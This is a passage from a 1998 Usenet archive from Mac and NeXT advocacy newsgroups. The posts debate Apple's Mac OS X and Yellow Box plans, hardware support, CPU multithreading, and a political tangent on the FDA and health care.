nice stuff. $200-$300.
Mac OS X for Intel Compatibles - POSIX, YB, Carbon, Win32, Java, all on
Mach 3 under a Mac-like UI. $100.
Mac OS X Pro for Intel Compatibles - OSX/Intel plus server and dev tools
and all that nice stuff. $200-$300.
Mac OS X for Windows - Yellow Box on Windows. $0.
Mac OS X for Linux - Apple helps out GNUstep, resulting in a free-source
YB/Linux.
Mac OS X for Java - Yellow Box on Java, to fill in all the niche platforms
that YB/Linux doesn't do natively.
So if you program in POSIX, you can run on thousands of different Unix
variants, including Mac OS X, but not in a very robust API. If you program
in Win32, you can run on Windows, in an API I know nothing about. If you
program for Carbon, you can run on legacy MacOS, and all native OSX
variants, in a semi-decent API. If you program for Java, you can run
almost everywhere, but not very well. And if you program in YB (should be
renamed something better, like "Diamond", to complement "Carbon"), you can
run on all native Mac OS X variants, Windows, tons of free Unixes that
will likely have YB/Linux ports (and some, like Free/Net/OpenBSD, should
be easy since they use the same kernel as OSX), and any platform which
supports Java. So current Mac developers would be completely supported,
and even be able to reach the other 90% of the desktop market through Mac
OS X for Intel Compatibles. Win32 developers would still be stuck with
just Windows, and maybe a percent or two more from OSX/Intel. POSIX
developers would be unchanged, perhaps also gaining a percent or two from
OSX (but hey, how many pure-POSIX developers are there?). Java developers
would get better support on both PowerPC and Intel platforms, since Apple
and MS are collaborating on their JVMs and hence the Windows JVM would be
the same as the OSX JVM. And Yellow Box developers get the whole world in
their hands.
Sounds good to me :-)
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: kindall@mail.manual.com (Jerry Kindall)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 18:02:39 -0400
Organization: Manual Labor
Message-ID: <kindall-1007981802390001@nic-c41-094.mw.mediaone.net>
References: <kindall-0907981808510001@nic-c41-094.mw.mediaone.net> <B1CBCDD4-5A95A@206.165.43.175>
In article <B1CBCDD4-5A95A@206.165.43.175>, "Lawson English"
<english@primenet.com> wrote:
> Jerry Kindall <kindall@mail.manual.com> said:
>
> >
> >> Jerry Kindall <kindall@mail.manual.com> said:
> >>
> >> >Apple is saying that Mac OS X may run on my machine but not be
> >supported.
> >> >If that becomes a problem, I will not have any particular problem
> >> >springing for a new machine. They have earned my loyalty time and
> again
> >> >by allowing me to upgrade my current machine. I can only hope that my
> >> >next Mac will have as long a useful lifespan as my 7500.
> >>
> >> But what about when you try to SELL your 7500? Who will buy it and what
> >new
> >> owner of your old machine will trust Apple to continue to make a decent
> >OS
> >> for older machines when they've abandoned a 4-year-old machine?
> >
> >After four years, it's fully depreciated anyway.
>
> Yeah, but what if you decide to GIVE it away? Wouldn't it be nicer if the
> new owner had more options for software?
You'll be able to run all the same software, since there will be Carbon
libraries for Mac OS; you just won't have pre-emptive multitasking and
full memory protection. My 7500 will work just as well as it does now --
better, probably -- even if it doesn't run Mac OS X.
A G3 machine will of course work even better.
--
Jerry Kindall mailto:kindall@mail.manual.com Technical Writing
Manual Labor http://www.manual.com Web Design, etc.
MWJ, the Weekly Journal for Serious Mac Users http://www.gcsf.com
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 10 Jul 1998 15:00:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1CBDD03-93AA5@206.165.43.175>
References: <joe.ragosta-1007981715180001@wil42.dol.net>
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Joe Ragosta <joe.ragosta@dol.net> said:
>> Yeah, but what if you decide to GIVE it away? Wouldn't it be nicer if
the
>> new owner had more options for software?
>
>Bogus argument, either way.
>
>Macs retain their resale value much better than PCs.
>
REally? How much are brand-new 604e-based PowerMacs going for now?
OK, now tell me what the asking price for an 040 box is.
Anything created before the G3 series is a legacy box now. And the 68K
boxes are even more legacy than before because the 604/603 boxes are now so
cheap.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Multi-threaded PowerPC
Date: 10 Jul 1998 21:45:27 GMT
Organization: University of Maryland, College Park
Message-ID: <6o621n$pqh$1@hecate.umd.edu>
References: <6o3cbd$o1k@newsb.netnews.att.com> <6o50qd$30$1@news.cs.tu-berlin.de> <6o5u13$28eq$1@piglet.cc.uic.edu>
Anil T Maliyekke (amaliy1@uic.edu) wrote:
: Marcel Weiher (marcel@cs.tu-berlin.de) wrote:
: : gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
: : >says that "This year ISSCC has a paper describing the
: : >first microprocessor implementing a mainstream architecture
: : >(the PowerPC) with coarse-grain multithreading. Coarse
: : >grain multithreading hides the delays caused by data fetches
: : >from memory by switching between 2 or more program threads."
: : Very interesting. Corroborates a suspicion I've had for a while
: : that real multitasking is necessary for virtual memory to be
: : useful. After all, even a fairly low page-fault rate will
: : slow a single process virtually to a halt, so system performance
: : can only be maintained if there are other useful processes
: : to switch to.
: : On the other hand, if there usually is a useful process to switch
: : to, virtual memory overhead can be almost completely hidden as long
: : as the pages can be made available by the time the process is
: : scheduled to run again.
: : Marcel
: : --
: : Java and C++ make you think that the new ideas are like the old ones.
: : Java is the most distressing thing to hit computing since MS-DOS.
: : - Alan Kay -
: Multithreading in this case is targetted at delays not caused from from
: accessing memory pages swapped to disk, but rather accessing high latency
: DRAM used as main memory. Limited multithreading support and fast context
: switches could allow higher system throughput if those processor cycles
: wasted waiting on data that is not in the L1 or L2 but in main memory
: could be utilized for computing by running other threads, which might have
: all the data they need in cache.
: Anyway swapping in pages written to disk requires the attention of the
: OS and thus requires processor time. However, the OS may be able
: to make use of the multithreading support to switch over to another
: thread quickly while waiting for the pages to be read back in.
Multithreading also wins you ILP. Since the thread streams have medium
grain parallelism, and are expected to be executed independently anyways,
you can possibly extract more ILP from n threads than 1 single stream of
execution. Threading is a Good Idea (tm). Unfortunately software is a
bit behind the times on this one.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 21:58:26 GMT
Organization: University of California at San Diego
Message-ID: <slrn6qd3k1.ujn.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <359A90F9.A546707D@alum.mit.edu> <35A4DC62.536B8581@nstar.net> <6o2qdi$lkg@newsb.netnews.att.com> <35A4FA60.FF826332@ericsson.com> <6o2v1s$m99@newsb.netnews.att.com> <35A5140D.F96A1F3F@ericsson.com> <6o3fak$13e$3@news.spacelab.net> <6o42ul$cqn$2@supernews.com>
On 10 Jul 1998 03:48:37 GMT, John C. Randolph wrote:
: "Charles W. Swiger" may or may not have said:
:-> Michael Peck <Michael.Peck@ericsson.com> wrote:
:-> [ ... ]
:-> >Ah, but now the question is a question of evidence, since the
:-> >rationality of my conclusions is not in question. I have never been able
:-> >to produce evidence that government is useful; your evidence may vary.
:->
:-> Assuming you live in the USA:
:->
:-> Ever drive on the interstate highway system?
:
:There is an implied premise here, that if something is done by government
:today, that only government can do it. There were roads before the
:interstate system, you know.
You know, we've had private roads before. They were called railroads,
and accompanied some of the most outrageous abuse of economic and
political power the nation's ever seen. Where does the term "to be
railroaded" come from?
Private investment could have built the interstate system. It did not.
Why? Private investment can build and fix roads today. It doesn't.
:-> Ever eat food or use prescription drugs? (The FDA makes mistakes once in
:a
:-> great while, agreed, but it does pretty well making sure that people don't
:-> get sick or die from such things.)
:
:You are mistaken.
:
:The FDA kills thousands of people every year by keeping medicines off the
:market for decades, even after they are tested and approved in other
:countries.
How, and more importantly, why did they get tested and approved in
other countries? Because of *their* government regulations. Suppose
nobody did this?
What would happen if all sorts of biologically active chemicals could
be marketed and promoted for very serious disease just like fast-food?
It wouldn't matter if the drugs worked, just if you could convince
guillible desperately ill people that they would.
:I have some direct experience with the FDA approval process, and it's pretty
:sickening, to say the least. A device I worked on for Karyotyping (used in
:Oncology) cold have cost about $25K, but compliance with FDA regulations
:pushed its cost into six figures. One of all the factors contributing to
:spiralling health-care costs in the USA, I would name the FDA as the biggest
:single culprit.
Maybe so. But the principle is not wrong, and most thinking people
understand why. The libertarian fundamentalists don't understand
this.
:-jcr
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 22:01:39 GMT
Organization: University of California at San Diego
Message-ID: <slrn6qd3q2.ujn.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <359A90F9.A546707D@alum.mit.edu> <6o0egj$nqg$1@news.spacelab.net> <rmcassid-0807981158550001@dante.eng.uci.edu> <35A3D7D2.102B8996@ericsson.com> <6o0pij$mj5$1@camel21.mindspring.com> <RITo1.2948$24.17168397@news.itd.umich.edu> <35A41682.CA191009@nstar.net>
On Thu, 09 Jul 1998 01:01:54 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
:Hmmmm? The Weimar Republic was the government under which the Nazi
:regime was *elected* into power.
Everybody remembers their election, and forgets their subsequent
illegal reign of terror and elimination of legitimate opposition by
force and hateful propaganda.
Elections only matter if people can unelect their mistakes.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 21:58:12 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6o62pk$ibe$1@nnrp1.dejanews.com>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu> <joe.ragosta-1007980836030001@wil117.dol.net> <MPG.100fd98176c5ec1798975e@news.itg.ti.com> <joe.ragosta-1007981039190001@wil62.dol.net> <MPG.100ff0a3f039a4e698975f@news.itg.ti.com> <35A65FA8.4C7D85F6@rauland.com>
In article <35A65FA8.4C7D85F6@rauland.com>,
"Edwin E. Thorne" <edwin.thorne@rauland.com> wrote:
> An emulator is added to run an occasional
> Windows program, if necessary. It's not to turn the Mac into a Windows
> box.
Then the acceptability of the emulation is dependant on the applications that
you need to run. If you need to run Access or develop code or want to play
games then the performance will not be acceptable. If you want use programs
that perform reasonably on a 486 but don't have a MacOS equivalent then you're
in luck.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Fri, 10 Jul 1998 17:11:38 -0500
Organization: Ericsson North America Inc.
Message-ID: <35A6919A.C188623A@ericsson.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com> <6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com> <6o39o5$5jj$1@camel15.mindspring.com> <slrn6qb71d.o2v.sal@panix3.panix.com> <35A5BA1B.3CFBDCA6@nstar.net> <slrn6qd1j8.30p.sal@panix3.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Salvatore Denaro wrote:
>
> On Fri, 10 Jul 1998 01:52:11 -0500, Michael Peck <mjpeck@nstar.net> wrote:
> >I wouldn't, to be blunt.
>
> By not providing guaranteed health care we as a socity are guilty of the
> same "murder by neglect" that you accuse the FDA of.
No, we are not. You have no right to require of me behavior that is not
my responsibility and then accuse me of murder. I *do* have a right to
call you a murderer if you stand between me and the drug that can cure
my illness.
Wake up. The FDA's actions are *NOT* "murder by neglect", I've never
heard of such a thing. The FDA's actions are murder by regulation that
makes it *ILLEGAL* to take life-saving drugs.
> I believe that everyone is born with certain rights. Chief among these
> are the rights to life, liberty and the pursuit of happiness. By not
> providing guaranteed health care we are cheating people out of thier
> right to life.
That's not even funny. By failing to provide for your education am I
also cheating you out of your right to the pursuit of happiness?
Rights are recognition of what people may not take from you. Rights do
not recognize your ability to take from others.
> NEWS FLASH: We have spiraling health care costs. And quality is going
> down while health care providers are enjoying record profits.
NEWS FLASH: Medicare and Medicaid account for some of the largest
government subsidies in the entire budget. Have you heard of 'Medicare'
and 'Medicaid'?
> Why can every industrialized nation on earth (and many 3rd world nations as
> well) provide health care? Can you provide an example of a nation where
> providing guaranteed health care had a detremental effect on the economy?
The United States? Maybe you meant universal health care? Sweden?
> >Health care is currently a (generally) competitive proposition. Removing
> >the competition will reduce the value of the health care market.
>
> That turns out not to be true.
It..."turns out not to be true"? Citation?
> The US has the most competitive Health care
> market on earth.
Mostly due to the power of its economy and its free-market status
relative to socialized Europe and Canada.
> In the past decade the quality has been going down while
> costs have been rising.
Medicare. Medicaid.
> At the same time health care providers are enjoying
> record profits.
Not since the specter of Viagra popped up (ahem). Apparently,
Kaiser-Permanente is slightly put out by the idea of providing universal
"Viagra coverage" to its customers. At $10 per pill, I can't say I blame
them, but then again, the government has been advising states that they
must cover Viagra in Medicare payments.
Pfizer: Those HMOs can hang it up in court as long as they like.
Government money...cha-ching!
MJP
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 10 Jul 1998 22:44:55 GMT
Organization: Michigan State University
Message-ID: <6o65h7$kll$1@msunews.cl.msu.edu>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com>
<6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com>
<01bdac2c$05e11ee0$04387880@test1> <6o5nq8$6q$3@news.xmission.com>
<6o5ph5$s4k$1@cronkite.cygnus.com>
Mime-Version: 1.0
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Cc: jrudd@cygnus.com
In <6o5ph5$s4k$1@cronkite.cygnus.com> John Rudd wrote:
> I just thought I'd forward my comments from the mailing list to this
group..
>
> Forwarded message follows:
>
>
> Don wrote/forwarded:
> >
> [SNIP]
> >
> > My point is that Apple has, whether they meant to or not, sent a
message
> > that is causing many enterprises to not just leave the Intel OS
behind, but
> > also get the hell away from YB and Apple, never to return again. I
don't
> > agree with all the premises that lead to the conclusions that spur
these
> > actions into reality, but I am reporting (a) what is happening (b)
why it
> > is happening, and (c) that Apple's largely to blame, IMHO. Oh, and
d), long
> > term this wound will hurt Apple badly, again IMHO.
> >
> [SNIP]
> > marcel@cs.tu-berlin.de (Marcel Weiher) wrote:
> > Even if many of us believe that YB is still important to Apple,
Apple
> > apparently hasn't done a good enough job convincing their YB
customers that
> > this is so. Many are getting out of there as fast as they can
because they
> > _think_ that they'll be left in a lurch! Whether or not YB/Win is
_really_
> > doomed is irrelevant. Apple pulling back on the OS--and the reasons
given
> > for it--have convinced the enterprises that YB on Intel in any form
is
> > doomed. Again, that perception is what matters. The realities
behind the
> > situation are second fiddle to how it is perceived and Apple has
really
> > screwed the pooch on this one.
> >
>
> I pretty much agree with all of this. Since the announcement of
MacOS X,
> I've pretty much been looking in other directions. I wont have time
to do
> anything myself for a while, but as far as I'm concerned the
NeXT/Apple
> edition of Openstep/Yellow-box is dead. I may buy Rhapsody 1.0 for
Intel as
> a last upgrade.. but I may not (if I'm going to be left with
something old
> and obsolete, I'll probably prefer the Nextstep GUI over the Rhapsody
one).
> I don't plan to wait to see what Apple does next. If they do the
right
> thing, I may come back to the fold.. I just don't plan on it. From
there,
> I'll be looking in to ways to make the Hurd comfortable for me.
I think Apple had one last chance to possibly salavage the
relationships
with the Enterprise customers. Maybe there will be some who are
willing
turn over their enterprise to a fully proprietary hardware/software
solution from ONE company. Frankly I would NEVER advise any of
my customers to do this - unless there is no other solution. And
even then I would warn them of the possible consequences of such
actions and encourage them to search for other solutions or create
them in house.
Thing is at least with MS - the momentum is there and you know
it won't go away anytime soon. With Apple's failure to commit
long term to MacOS X Server(PC_ (even a limited subset of PC
compatibles)
they have sucessfully sent the following message.
"Think Different" means "Think Microsoft". I find it suprising
that with the dwindling market share that Apple thinks that
it can shove a fully proprietary solution on the Enterprise, or on
anyone.
With MacOS X Server availability on PC's it at least gives
Enterprise customers a large number of options which are now
closed. Enterprise is very unforgiving - you are either with
them long term or you are gone - and they won't look back.
Also since Apple has been forced to release Carbon for legacy
compatibility with MacOS API, and YB developers are small
in number (and YB apps) with YB runtimes for windows are expected
to be free (at least initially). What makes anyone think
that if Apple doesn't deriver sufficient income (or 'interest')
that they will continue to support it?
This means Apple will eventually try to charge money for
YB runtimes - or they will just drop YB in favor of Java,
or what expanded Carbon? All that would make MacOS
people happy, but it completely eliminates the Enterprise
and server solutions, and effectively excludes many..
With the rumor that WO will be spun off I wouldn't be suprised
if Apple starts pulling back on the YB commitment - and YB
as a cross platform solution. IF WO gets spun off you can
kiss YB goodbye.
A first step toward this will be the touting of MacOS
X as the preimere JAVA development platform - and Java
as the preferred cross platform solution..
Mark my words - if it get's to this then YB developers
better move on to greener pastures - namely JAVA I guess..
Again this is all funny to me since to me I thought Sun
owned JAVA - and everyone is saying that it is the next
great thing... Frankly it seems to me that Sun is
trying to set itself up as the next Microsoft by
touting the crossplatform API.. Microsoft has already
begun to see this and is working against Sun by creating
their own version of JAVA (what I've heard). And if
the Enterprise is Windows - tell me when they have the
choice of Sun/Java & MS - which will they choose?
Don't even try to toss in YB calls into Java apps.
Eventually the Sun's JAVA will be forced to endeavor
to integrate the MS JAVA, and already MS JAVA has
to be Sun JAVA compatible..
Now I may be off a bit here because I havn't followed
the JAVA curve - but every solution I look at seems
to be some company trying to follow in MS's footsteps
by monopolizing a particular API.. They are right
to try - and if people buy into it - then they've
sucked you in to the MS paradigm.. I frankly am up
to here (top of my head) with proprietary solutions.
It's time to start merging codebases and lower levels
of the OS - try to get to one codebase that is freely
available as source - that we can tweak and optimize
at will - though this is far off I believe. Are we not
getting tired of writing word processing apps over
and over again?
I believe there are a lot of companies that are manuvering
themselves out of this paradigm, or are looking to.
Perhaps this is why Apple is cutting off the PC
support, trying to create it's own little proprietary
niche. Why Apple might want to bet the remaining
farm on YB on windows (MS) is beyond me. I can
only speculate that Apple is hedging all the JAVA
bets at this point, and possibly sampling the masses
to see if the YB apps can mature..
At this point it seems there is little choice. Apple
has now made its bed and will live or die by this decision.
Frankly if they are playing some game that is dependant
on Sun/Java or MS/? where YB is expendible they have
made a horrible mistake..
Listen up Apple.. The wave of the future in software
development will be API's that are indeed cross platform.
But that are also available with source. The reason
companies will pay money for such things is that it
makes far more sense for one or a small number of
companies to maintain a given official solution - and be able
to provide various levels of support and service
than to have to do it in house..
The REASON why source will be the winner is because
everyone and his brother can endeavor to port it OR
even better write a port or libraries that are compatible..
Think about this: If Apple were to release source
to everything but their in house stuff that lies on top
of YB (NeXTMail, WO, etc. etc.)
Apple would have an immediate standard that
everyone can have for free!! This would also
encourage various ports - can you say run on
all platforms. You also get as a bonus a myriad
of updates and changes from the community at
large (for FREE) which you can use to upgrade the
professional version - for the paying clients. AND if your
smart you sell products ON TOP of the YB source layer.
Tell me if WO is built on YB, and it's so great
and the runtime for windows will be free - why
not release the source to the API?? How much
more interest do you think you'd get if you
could sell WO for linux, HP-AIX, FreeBSD, NetBSD,
while not having to necessairly maintain anything
but the authorized versions of YB for those - and
for your clients - that are basically guaranteed
to run with them.
What about your development tools - you think people
would like to have them if YB is potentially everywhere?
JAVA too? sheesh.
You want YB apps for PPC - can't see a better way
to get them. If PPC is so much better in a price
performance wise than Intel - can't see why that
wouldn't be found out quickly enough - and clients
would be beating down your door for PPC machines..
Why? Because it would mean that with YB source
everything under the sun could run it (very quickly
I'd bet)..
Want your new QT/GX or whatever display to become
standard - so everyone can send files back and
forth - release it.
You ask the community - and enterprise how many
would buy WO or the developer package vs. other solutions
if YB with was available with source. I think you'd be
absolutely overwhelmed.
There are a lot of people who would buy hardware
from you if many of the software layers were
just released source wise.. Though I will say
this too. If price/performance wise your PPC
isn't up to snuff - you will find yourself in
a terrible position. Frankly I can't see
that since PPC has more upward potential than
PII. And if you strike now - the potential
Merced delays - and the topping off of x86
line in terms of performance will eventually
bring people into your fold.. Later on you
can sell G4/5 or Merced boxes etc.
If Apple would really "Think Different" then they
would be following a plan that would do something
like the above. I can nearly guarantee the
public press, and the public will would find
a way to reward Apple - and I suspect if Apple
were to drop just a little more money into
their hardware designs - you'd find hardware
flying off the shelves being bought by people
simply out of good will - along with the mentality
that this would be the way for us to support a
company that is really "Thinking Different"..
YB could evolove onto 100% of the desktops over
the next 20 years (probably sooner than that)- and it
might force microsoft to do the same thing.. Tell me
what does microsoft have other than a proprietary binary
only OS?
Not a whole hell of a lot - other than sheer numbers.
The above move would probably level the playing field
quite dramatically were microsoft to follow suit.
> The Cygnus founders saw an opportunity in the late 80's to make money
by
> customizing and supporting GCC. I'm curious if perhaps this is a
similar
> opportunity. The Enterprise customers we're talking about here are
entities
> that already see value in Openstep. Do they see enough value to
jointly fund
> a Cyngus-like company that would focus on Gnustep? It _may_ leave
the in a
> situation to live on YB until their new company could finish Gnustep,
and
> then switch to Gnustep as soon as possible.
>
> Cygnus isn't in the business of Operating Systems. We were asked
once if we
> would pick up Linux support, and our leaders said no. That doesn't
mean we
> wont change our mind later, but for the most part our reputation and
> expertise is in embedded systems development, and then to some extent
in
> cross platform development. For us, cross platform typically relates
to the
> embedded world anyway (ie. cross compile a binary for a cell phone
from your
> solaris desktop, as opposed to the Openstep "compile for YB/Win while
running
> on Rhapsody/PPC" kinda thing). I don't see us reaching out in to
other free
> software markets, especially since we already retracted from the
kerberos and
> general-free-utils (apache, perl, etc) arenas.
>
> With enough big contracts, maybe Cygnus could be convinced to pick up
Gnustep
> for various platforms (like Solaris, IRIX, HP/UX, Linux, etc -- OS's
we
> already support gcc on). But I doubt they could be convinced to
offer a full
> "from the ground up" solution like "gnu-mach + hurd + gnu-OS + DGS +
> Gnustep". I think if there are enough legacy NeXT customers who
still want
> Openstep but are afraid to trust Apple, someone else may be able to
fill the
> gap.
>
> My personal motivation toward free software projects such as this is
that it
> means you're no longer at the mercy of another company's agenda. If
these
> Enterprises help build Gnustep, then Gnustep exists as long as they
want it
> to, and as long as we want it to. If Apple folds, if the FSF folds,
if the
> Cygnus-like company folds.. or even if one of those groups just
abandons
> Gnustep/Openstep, it doesn't matter because the code is publicly
available.
> Anyone else can pick up the pieces and move on.
>
> The role a Cygnus-like company would provide to those Enterprises is
a place
> to obtain mission critical support and customization. That means
that
> they're also not at the mercy of the USENET community who may not fix
their
> problems because they don't find it interesting. They pay the
company to fix
> their problems in a timely fashion. It's sort of the best of both
worlds --
> free from another company's agenda yet secure in the knowlege that
someone
> with expertise in that field is there to help you when you need it.
>
The above is a classic example of a company that probably would
jump on board with both feet were the above scenario I proposed
to unfold..
And I say this again - the WORLD would see the releasing of YB
& Mach/BSD source - and whatever you can release - as an unprecidented
brilliant move - the excitement about Apple it would generate
would be tremendous.. And I'd bet MacOS X Server sales would
be gigantic - since the hope that YB could be ported to other
OS's would lead people to start developing YB apps like never
before..
I challenge Apple to really
"Act Different" rather than to just "Think" about it.
YB technology cost say 400M initially and another 400M to develop
to what it is now - maybe another 200M to get the display different..
Hell maybe if Apple did this Adobe would follow by releasing
DPS and you wouldn't have to spend the 200M on the different display.
I'm sure Apple can come up with reasons why not to do the above
that are all based in fear. I say come up with the reasons to
be courageous to do the above - take it to the shareholders
- let them decide as they are the ones that would bear the brunt
of the result.
Make the case that the future is source/standards - it's good
for Apple, good for businesses, good for programming, and
good for the world.. If you really believe your hardware
is so great and YB runs fantastically on it - I can't see
how Apple could go wrong with the above move..
I would still pay $100-200 for a version directly from Apple
and I know that from my experiences that just little me could
sell at least 1000 or more seats of MacOS X Server at the
above price were this to be true.. Release the lower
layers too and I can guarantee you you'll have more drivers
than you can shake a stick at in 12 months..
Think about it - Frankly if you don't then to everyone out
there with money - I think a nice IPO venture would be
to start a company that would do exactly the above - in
a big way. Thing is that Apple has all the right stuff
ready to go - the investment has been made - all they have
to do is follow through and "Act Different"..
Can anyone imagine how much press Apple would get on
this move alone? (WorldWide) Now add to that the
amount of good will and relief that people would feel
since Apple just gave them a choice that wasn't microsoft.
They would have one rabid Mac Advocate who would probably
end up selling 250-1000 copies of MacOS X Server in
the first 6 months after the announcement.. And probably
of those 10% would buy G3's in 12 months. Not a lot
but 25-(infinitly) more sales than they have from me at
this point.
If others were to say the same - I suspect we'd be talking about
1-3 million copies of MacOS X Server sold in 6 months - at least
another 5 million installed base in the same period - and ports
excitement like mad.
Right now on the road your following you can count
possibly 1 copy of MacOS X Server - and no G3's
I suggest that Apple really
"Act Different" rather than just "Thinking About it"
PS. To Salvatore - Well then you should be happy with YB on Windows
it completely meets your needs. Frankly I don't see why someone
wouldn't
be happy with emulation mode for Microsoft Office since there is
nothing
there that is hugely cpu intensive (mostly waiting for
'innnnnppppuuuuttttt")
Sincerely,
Randy Rencsok
President Turbo Software & Consulting
Webmaster ChannelU.com
517-371-3327
PS. Anyone have a few billion laying around so I can buy
Apple and do the above? Oh yeah - I guess can wait until they
get down to a billion or less.. :) :(
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: fatal650@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: wanted mac pb
Date: Fri, 10 Jul 1998 22:51:13 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6o65t1$mht$1@nnrp1.dejanews.com>
Hi i want to buy a mac powerbook for under $200 or a little higher. One that
will run claris homepage and that has all the things like ac adapter, battery
please email me ok thanks ok post it here.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Fri, 10 Jul 1998 18:07:39 -0500
Organization: Ericsson North America Inc.
Message-ID: <35A69EBB.CED2BC49@ericsson.com>
References: <359A90F9.A546707D@alum.mit.edu> <6o0egj$nqg$1@news.spacelab.net> <rmcassid-0807981158550001@dante.eng.uci.edu> <35A3D7D2.102B8996@ericsson.com> <6o0pij$mj5$1@camel21.mindspring.com> <RITo1.2948$24.17168397@news.itd.umich.edu> <35A41682.CA191009@nstar.net> <slrn6qd3q2.ujn.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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Matt Kennel wrote:
>
> On Thu, 09 Jul 1998 01:01:54 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
> :Hmmmm? The Weimar Republic was the government under which the Nazi
> :regime was *elected* into power.
>
> Everybody remembers their election, and forgets their subsequent
> illegal reign of terror and elimination of legitimate opposition by
> force and hateful propaganda.
>
> Elections only matter if people can unelect their mistakes.
I don't see your point. In 2000 we might elect a man who would seize
control of the military and revoke the Constitution with the willing
support of the legislature. How would that make the U.S. in 1998 less of
a democracy? How would it make government less of a dangerous evil?
MJP
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: MacOSX == Rhapsody
Date: 10 Jul 1998 16:44:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6o6901$j93@nntp02.primenet.com>
References: <6o17sr$52q$1@msunews.cl.msu.edu> <6o5bv7$ba0@shelob.afs.com> <6o5g4e$c6e$1@news.cs.tu-berlin.de> <6o5jba$6q$1@news.xmission.com> <01bdac2c$05e11ee0$04387880@test1> <6o5nq8$6q$3@news.xmission.com> <6o5ph5$s4k$1@cronkite.cygnus.com>
<6o65h7$kll$1@msunews.cl.msu.edu>
: Again this is all funny to me since to me
: I thought Sun owned JAVA - and everyone is
: saying that it is the next great thing...
: Frankly it seems to me that Sun is trying
: to set itself up as the next Microsoft by
: touting the crossplatform API..
I'm sure Sun wouldn't mind being the most powerful force in software, but
there is a lot of distance between here and there.
Sun's most pressing concern is survival.
They need something that allows them to lead, and allows them to define
themselves at the center of the industry. That is so important that they
are willing to give away much of Java (but not all) to do it.
To make Java a success, Sun is willing to give us platform independence,
easily available tools, and a lot of free R&D. I don't think a fear of
Sun should put us off Java. They have a long ways to go before they are a
threat. We have much to gain by going along with them.
John
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 10 Jul 1998 19:19:13 -0500
Organization: Prairie Group
Message-ID: <MPG.10106b7a41f849ab989972@news.supernews.com>
